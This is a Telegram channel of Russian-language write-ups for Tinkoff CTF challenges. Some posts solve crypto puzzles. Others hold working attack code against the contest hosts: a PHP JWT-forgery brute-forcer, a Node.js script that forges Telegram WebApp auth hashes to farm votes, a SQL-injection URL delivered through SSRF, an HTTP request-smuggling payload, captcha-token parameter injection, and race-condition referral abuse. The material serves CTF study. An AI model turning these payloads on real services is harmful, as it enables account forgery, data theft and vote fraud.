решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
Forwarded from Vladimir Markov
Привет. По задаче "Элементарно, Ватсон!" в канале какое-то очень сложное решение предложено. Есть в разы проще в одну строчку кода)

В задаче сказано что используется "Усовершенствованный классический метод шифрования" (имеется в виду классический шифр древней спарты). Просто вместо одной палочки там две. Однако на процедуре взлома это никак не сказывается, принцип остается точно таким же: нам нужно подобрать такой m, чтобы data[::m] представлял собой осмысленный текст. При m = 32 мы получаем "HOLMES_CASE_DB||Case_1:_The". Далее выводим все остальные строчки (соединять их в один текст не будем - слишком сложно):
data = "H_S_|_e_gI..."
print("\n".join(data[i::32] for i in range(32)))

На строчках 11 и 12 замечаем две части нашего ключа: m3_th0Ugh7_r3WarD_bRoU6ht} и tctf{Cr1. Остается только их правильно соединить.
5👍1👏1🤯1
Forwarded from Vladimir Markov
Еще там нет решения задачи "Доктор Хаос":

Ключевые элементы, которые нужно было заметить:
1. Используется симметричное шифрование без перестановок с помощью надежного алгоритма RC4 (взломать его возможно)
2. Строка до шифрования представляет из себя результат сериализации protobuf структуры (первые 3 байта служебные, потом zip от введенного текста, служебные байты, zip от флага и еще служебные байты)
3. Для генерации ключа используется default_random_engine, который представляет из себя самый простой псевдослучайный генератор. Более того, каждый раз при запуске программы seed будет одним и тем же (initial_seed=1), никакой инициализации от текущего времени.

Так как алгоритм RC4 взломать невозможно, а алгоритм генерации ключа явно очень слабый, стоит атаковать его. Все что нужно сделать это написать C++ программку, которая будет подавать на вход EncryptBirthmaRC4 один и тот же текст (главное не забыть про служебные байты от protobuff) и сверять что первые N байт (например 4) зашифрованного текста совпадают с теми что лежат в patient-chart.bin (или наоборот можно подавать зашифрованный текст на вход - без разницы, шифрование делается с помощью xor). Так как initial_seed локально и на сервере равен 1, а количество запросов на сервер скорее всего не превысило 100к, правильный seed (а с ним и key) мы найдем меньше чем за секунду. После чего используем найденный ключ для расшифровки текста.

По сути вся задача решалась в 6 строчек:

int main(int argc, char* argv[]) {
// Содержимое patient-chart.bin
std::string ciphertext = {5, 110, -102, 115, ...};

for (int i = 0; i < 100000; i++) {
std::string plaintext = EncryptBirthmaRC4(ciphertext);
// Проверяем удалось ли расшифровать
if (plaintext[0] == -48 && plaintext[1] == -111 &&
plaintext[2] == 60 && plaintext[3] == -32) {
printf("Message decoded on #%d! See plaintext\n", i);
}
}
}
1
Forwarded from Vladimir Markov
Еще мало кто решил задачку "CTF 2023":

Ключевые моменты, которые нужно было заметить:
1. Шифрование симметричное побайтовое с помощью xor. А значит для расшифровки текста достаточно просто повторить шифрование еще раз (xor отменится):
python DiffusionCipher.py ctf2023.yaml.protected ctf2023.yaml key.json

2. Выполнение кода займет несколько миллиардов лет из-за этого цикла:
n0, n1, m0, m1 = 0, 1, 0, 1
# n = 92153904885269267505545
while diffusionCycles <= n:
n0, n1 = n1, a * n1 - b * n0
m0, m1 = m1, x * m1 - y * m0
diffusionCycles += 1
result = (m1 * n1) % N

3. В конце нас интересует ответ по модулю N, так что вспоминаем модульную арифметику из олимпиадного программирования. Это позволит избавиться от необходимости работать с числами из миллиардов знаков, что позволит сократить время выполнения всего до 3 миллионов лет
4. Операции внутри цикла подозрительно сильно напоминают умножение матриц:
| n0 |   |  0  1  0  0 |   | n0 |
| n1 | = | -b a 0 0 | * | n1 |
| m0 | | 0 0 0 1 | | m0 |
| m1 | | 0 0 -y x | | m1 |


Таким образом мы получаем что у нас есть цикл (* - умножение матриц, % - модуль по всем элементам):
state = [0, 1, 0, 1]
for _ in range(n):
state = (A * state) % N

Использование матриц может немного пугать, однако по сути этот цикл эквивалентен такому:
a, b = 1, 2
for _ in range(n):
a = b * a

Весь этот цикл можно оптимизировать до a * (b ** n). А для быстрого расчета b ** n можно использовать алгоритм быстрого возведения в степень, который возведет число (или матрицу) в степень n за O(log n). Главное не забывать про модули и не использовать numpy (у нас числа больше чем int64)!

Двух этих оптимизаций достаточно чтобы сократить время расшифровки до 1 секунды.
🤯4🔥2
Forwarded from Sergey
В основное время не успел, но показало Флаг верный, но соревнование завершено, так что, видимо, решение корректное.
После регистрации и захода на сайт сразу бросается в глаза странности в base64 внутри подписи (обилие последовательностей 977 и подобных).
В исходниках видно, где отправляется флаг, для этого нужно на страницу /api/setup прислать запрос {"mode":"Firefighter"}, при этом у пользователя в токене должно быть: "role": "readwrite".

Исходники относительно небольшие, в JWT.scala бросается в глаза .slice(5, 256):
  private[jwt] def signHmac(algorithm: Algorithm, msg: String, key: String): String = {
val mac: Mac = Mac.getInstance(algorithm.toString)
mac.init(new SecretKeySpec(key.getBytes("utf-8"), algorithm.toString))
encodeBase64url(new String(mac.doFinal(msg.getBytes("utf-8")).slice(5, 256)))
}
...
private[jwt] def encodeBase64url(str: String): String =
Base64.encodeBase64URLSafeString(str.getBytes("utf-8"))


Позже стало понятно, что и обилие повторяющихся последовательностей в подписи напрямую связано с этой реализацией.
Вытащил эти функции отдельно, разделив по шагам и делая print-ы после каждого преобразования, потестил с заранее известным ключом и данными, стало очевидно, что такие преобразования не бинарно-безопасные.
А именно, символы >0x7f, которые не являются корректными для utf8, заменяются на последовательность 0xEF, 0xBF, 0xBD.

Погуглил уязвимости хешей на предмет возможной манипуляции с 1ым битом символа, но ничего не нашел, да и было бы слишком сложно.
Затем вспомнил про то, что 5 символов зачем-то обрезаются из хеша, и это натолкнуло на мысль: а что если взять идеально рандомный случай, то какова вероятность, что в последовательности из N байт все из них будут >127 ?
Очевидно же, что 1/(2^N). По исходникам видно, что поддерживается не только HS256, а значит можно рассмотреть вариант HMD5, который сам по себе 16 байт, а если из него вырезать еще 5 байт, то останется 11. А 2^11 = 2048, что не так уж и много.

То есть, что имеем по итогу: нам неважно какой ключ, неважно какой payload. Рандомный пейлоад с совершенно любым ключом с вероятностью 1/2048 будет иметь все байты >127, а для такого случая сигнатура будет состоять из 11ти кратного повторения 0xEF, 0xBF, 0xBD.
далее написал простой брутер, который делает запрос, добавляя ключ test: random_int(), не забыв поменять заголовок JWT на eyJ0eXAiOiJKV1QiLCJhbGciOiJITUQ1In0 (alg: HMD5), вставив в тело нужные данные с сигнатурой из EFBFBD..., и довольно быстро токен нашелся
🤯10
Forwarded from Sergey
<?php

function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data, $strict = false) {
return base64_decode(strtr($data, '-_', '+/'), $strict);
}

$username = 'tst362353022';
$sig = str_repeat(chr(0xEF) . chr(0xBF) . chr(0xBD), 11);
$hdr = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJITUQ1In0';

$ch = curl_init();

for ($i = 0; $i < 40000; ++$i) {
$payload = json_encode([
'login' => $username,
'role' => 'readwrite',
'lalala' => random_int(10000000, 999999999999),
]);
curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/setup',
CURLOPT_COOKIE => 'jwt=' . $hdr . '.' . base64url_encode($payload) . '.' . base64url_encode($sig),
CURLOPT_POSTFIELDS => json_encode(['mode' => 'Firefighter']),
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
CURLOPT_RETURNTRANSFER => 1,
]);

$data = curl_exec($ch);
if (strlen($data) > 0) {
echo $data;
break;
}
}

__halt_compiler();
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
CURLOPT_POSTFIELDS => json_encode([
'login' => $username,
'password' => $password,
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
],
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
CURLOPT_HEADER => 0,
// CURLOPT_VERBOSE => 1,
]);

__halt_compiler();

for ($j = 0; $j < 100; ++$j) {

$username = 'tst' . mt_rand(100000000, 999999999);
$password = 'testpassword';

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
CURLOPT_POSTFIELDS => json_encode([
'login' => $username,
'password' => $password,
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
],
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
CURLOPT_HEADER => 0,
// CURLOPT_VERBOSE => 1,
]);

$data = json_decode(curl_exec($ch), true);
if (!$data['success']) {
echo 'fail';
return;
}


curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/login',
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => 1,
]);

$data = curl_exec($ch);

preg_match('~set-cookie:\s*jwt=(\S+)~i', $data, $m);
$jwt = $m[1];
[$hdr, $payload, $sig] = explode('.', $jwt);

$dec = base64url_decode($sig);

$out = '';
for ($i = 0, $len = strlen($dec); $i < $len; $i++) {
if (ord($dec[$i]) <= 127) {
$out .= $dec[$i];
}
}

echo bin2hex($out), ":$username:$password\n";
}
Forwarded from Ramil Sakaev
Miss Fraud - node,js
const axios = require('axios');
const CryptoJS = require('crypto-js');

const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде
const contestant_id = 100; // id участника голосования
// данные авторизации можно получить, введя в консоли скрипт
// Array
// .from(new URLSearchParams(Telegram.WebApp.initData).entries())
// .reduce((res, [key, value]) => {
// if (key !== 'hash') {
// res[key] = value;
// }
// return res;
// }, {});
// далее нужно просто менять id и формировать hash (дефолтный hash сразу вырезали)
const getData = (id) => ({
auth_date: "*ts*",
query_id: "*queryId*",
user: `{"id":${id},"first_name":"*name*","last_name":"*surname*","username":"*login*","language_code":"ru","allows_write_to_pm":true}`,
});

// цепочка авторизация - голос с репитами на случай ошибки
const request = (data, repeat = 1) => {
return axios
.post(
'https://t-pageant-ekbooq0e.spbctf.net/api/auth',
{ initData: new URLSearchParams(data).toString() }
)
.then((res) => {
return axios
.post(
'https://t-pageant-ekbooq0e.spbctf.net/api/vote',
{ contestant_id },
{
headers: {
'Cookie': res.headers['set-cookie'],
},
}
)
.then(({ data }) => console.log(data)); // выводим промежуточный результат в консоль
})
.catch((err) => {
if (repeat < 5) {
return request(data, repeat++);
}

throw err;
});
};

// фарм голосов: индекс цикла = id пользователя, указываем любой интервал
const handle = () => {
for (let i = 0; i < 1000; i++) {
const data = getData(i);
const dataCheckString = Object
.keys(data)
.sort()
.map((key) => `${key}=${data[key]}`)
.join('\n');
const calculatedHash = CryptoJS
.HmacSHA256(dataCheckString, secretKey)
.toString(CryptoJS.enc.Hex);
data.hash = calculatedHash;

request(data);
}
};

handle();
👍2
Forwarded from Sergio
Галера

Открыть приложение в программе Hopper и увидеть там стоковые константы. По ним восстановим API сервера:

GET https://t-galera-u12p5koe.spbctf.net/items список товаров в магазине. Там есть «Свобода» за 1337 баллов. Её нужно купить, чтобы получить флаг. Но баллов пока недостаточно.

curl -X POST -d '{"username":"admin","password":"admin"}' "https://t-galera-u12p5koe.spbctf.net/enter" производит вход и отдаёт токен авторизации для последующих запросов.

curl -X GET -H "Authorization: ТОКЕН" "https://t-galera-u12p5koe.spbctf.net/profile" ваш профиль, там можно посмотреть покупки и количество баллов.

curl -X GET -H "Authorization: ТОКЕН" "https://t-galera-u12p5koe.spbctf.net/ref" создаёт реферальный код пользователя. Можно создать один в день.

curl -X POST -d '{"username":"foo2","password":"p","ref_code":"GALERA-5aa7f5e9"}' "https://t-galera-u12p5koe.spbctf.net/create" создаёт нового пользователя используя этот реферальный код (реферальный код не обязателен для регистрации). Кодом можно воспользоваться только онир раз. За регистрацию по вашему реферальному коду вам дают 100 баллов.

Чтобы получить баллы для покупки Свободы, нужно зареферралить много пользователей. Обходим ограничение на количество реферальных кодов и регистраций по одному коду с помощью состояния гонки (отправляем много запросов одновременно). Если не получилось, регистрируем нового пользователя (без реферального кода) и повторяем попытку.

Покупаем Свободу: curl -X POST -H "Authorization: ТОКЕН" "https://t-galera-u12p5koe.spbctf.net/buy?id=1337". Делаем снова запрос данных своего профиля и видим там флаг.
🔥2👍1👏1
решения задач по tinkoff CTF
Miss Fraud - node,js const axios = require('axios'); const CryptoJS = require('crypto-js'); const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде const contestant_id = 100; // id…
Упрощено для юзания (от автора райтапа):

const axios = require('axios');
const CryptoJS = require('crypto-js');

const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде
// данные initData нужно получить, введя в консоли Telegram.WebApp.initData
const initData = 'query_id=*queryId*&user=%7B%22id%22%3A200905925%2C%22first_name%22%3A%22*firstName*%22%2C%22last_name%22%3A%22*lastName*%22%2C%22username%22%3A%22*userName*%22%2C%22language_code%22%3A%22ru%22%2C%22allows_write_to_pm%22%3Atrue%7D&auth_date=*authDate*&hash=*hash*';
const contestant_id = 100; // id участника голосования достали из запросов

// подготовили initData
const preInitData = Array
    .from(new URLSearchParams(initData).entries())
    .reduce((res, [key, value]) => {
        if (key !== 'hash') {
            res[key] = value;
        }
        return res;
    }, {});

// заменяем id юзера в preInitData
const getData = (id) => ({
    ...preInitData,
    user: preInitData.user.replace(/({"id":)\d*,/, `$1${id},`),
});

// цепочка авторизация - голос с репитами на случай ошибки
const request = (data, repeat = 1) => {
    return axios
        .post(
            'https://t-pageant-ekbooq0e.spbctf.net/api/auth',
            { initData: new URLSearchParams(data).toString() }
        )
        .then((res) => {
            return axios
                .post(
                    'https://t-pageant-ekbooq0e.spbctf.net/api/vote',
                    { contestant_id },
                    {
                        headers: {
                            'Cookie': res.headers['set-cookie'],
                        },
                    }
                )
                .then(({ data }) => console.log(data)); // выводим промежуточный результат в консоль
        })
        .catch((err) => {
            if (repeat < 5) {
                return request(data, repeat++);
            }

            throw err;
        });
};

// фарм голосов: индекс цикла = id пользователя, указываем любой интервал
const handle = () => {
    for (let i = 0; i < 1; i++) {
        const data = getData(i);   
        const dataCheckString = Object
            .keys(data)
            .sort()
            .map((key) => `${key}=${data[key]}`)
            .join('\n');
        const calculatedHash = CryptoJS
            .HmacSHA256(dataCheckString, secretKey)
            .toString(CryptoJS.enc.Hex);
        data.hash = calculatedHash;

        request(data);
    }
};

handle();
👏1
Forwarded from Sergio
Биба и Боба

Судя по коду, флаг лежит в таблице core_parameters в строке с name='DEBUG_KEY'.

Уязвимость 1. Обращаем внимание, что используется старая версия Django 4.0.2. Смотрим changelog Django и находим сообщение об исправлении SQL-инъекции в более поздней версии: https://docs.djangoproject.com/en/5.0/releases/4.0.6/. Уязвимый код используется на странице /users/, но она требует авторизации.

Уязвимость 2. Страница /users прикрыта кодом, который пропускает запросы с IP 127.0.0.1, при этом не проверяется, что пользователь залогинен.

Уязвимость 3. Код загрузки аватара по ссылке позволяет отправить GET-запрос на любой адрес, в том числе на 127.0.0.1. Там есть проверка, что адрес заканчивается на расширение картинки, но его можно легко обойти, добавив ?.jpg в конце адреса.

Как воспользоваться уязвимостями:

1. Создаём пользователя обычным образом. Для примера его username будет HACKER.

2. Загружаем ему аватарку по этому URL:

http://127.0.0.1:8000/users/?joined=year'%20FROM%20date_joined)FROM%20core_user%3BUPDATE%20core_user%20SET%20last_name%3D(SELECT%20value%20FROM%20core_parameter%20WHERE%20name%3D'DEBUG_KEY')%20WHERE%20username%3D'HACKER'--&.jpg

Обратите внимание что в адресе в конце указано имя нашего пользователя.

3. Идём на страницу /profile и видим там флаг.
🔥4
Forwarded from Sergio
ЁКЛМН

Надо автоматизировать открытие мусорок, обойдя каптчу.

В файле check_bin.php видно, что у токена каптчи слабая валидация, и он не экранируется при вставке в запрос на сервер каптчи. Можно использовать это, чтобы добавить в запрос параметр idempotency_key=<constant_UUID>. Этот параметр позволяет сделать так, чтобы сервер каптчи одобрял много запросов на проверку с одинаковым токеном.

Далее в браузере на странице https://t-aandb-j58o5s3y.spbctf.net/?open=1 перехатываем токен каптчи и не даём ему улететь на сервер (это можно сделать, поставив брейкпоинт в девтулзах). Там же нужно взять куку сессии.

Затем отправляем запрос с «хакнутым» токеном в каждую мусорку, чтобы открыть её:

for (let binNum = 1; binNum <= 2000; binNum++) {
fetch(host, {
method: 'POST',
headers: {
Cookie: cookies,
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `open=${binNum}&token=${encodeURIComponent(`${captchaResponse}&idempotency_key=550e8400-e29b-41d4-a716-446655440000`)}`,
redirect: 'manual',
})
}


После этого флаг появится на главной странице.
Forwarded from Bulat Gafurov
Имеем: Три микросервсиа общаются между собой по tls, что-то типо сервис меша.
1. Gateway - представляет из себя реверс прокси, также проверяет серты если подключение идет с другого сервиса.
2. User Info - микросервис по управлению информацией о пользователе
3. Shop - можем тут купить тему, сделать клик и купить премиум

Видим, что shop при покупке премиума просто проставляет множитель для юзера.
Попробуем дернуть так же эту ручку с сертом client.crt, но ничего не получим, так как apigateway скорее всего сидит за балансер, сюда по docker-compose.yaml.

params = fmt.Sprintf("multiplier=%d", 10)
client.Post("https://apigateway:9443/api/setUserMultiplier?" + params, headers)


Так же посмотрим как он делает Post запрос

host := "apigateway:9443"
conn, err := tls.Dial("tcp", host, c.Config)
if err != nil {
return "", []byte{}, err
}
defer conn.Close()
request := fmt.Sprintf("POST %s HTTP/1.1\r\nHost: %s\r\n", urlString, host)


Видим, что если будем контролироваь один из %s, то сможем засплитить запрос.
Ищем в коде через что мы можем засплитить запрос, видим что color отправляется как строка в ручку /api/buyColor, пробуем в ручку вставить такую строку

Также вспоминаем как создается User-Id
sessionValue := createAndSignSession(string(userInfoRow.UserID))
c.SetCookie("session", sessionValue, 3600000, "", "", false, false)

func createAndSignSession(userID string) string {
...
return string(payload) + "." + string(hex.EncodeToString(expectedMAC))
}

то есть нам нужно значение до первой точки.

black HTTP/1.1
Host: apigateway:9443
X-From-Service: Yes
X-User-ID: <user-uuid-from-cookie>

POST /api/setUserMultiplier?multiplier=100000 HTTP/1.1
Host: apigateway:9443
X-From-Service: Yes
X-User-ID: <user-uuid-from-cookie>


Важно заметить, что не ставим Connection: close, как в оригинальном запросе, чтобы соединение не закрылось.
Делал все в Burp, так что скриптов нет никаких.
Писал эту строчку на память, так как не сохранил.
Forwarded from R H
#человекжук
По этому заданию количество комбинаций можно сократить до 54264 для подбора.
Смотрим алгоритм шифровани, раз играем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципе base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 54264 варианта, скармливаем архив Джеку рипперу с этим вордлистом, получаем результат за считанные секунды
👍5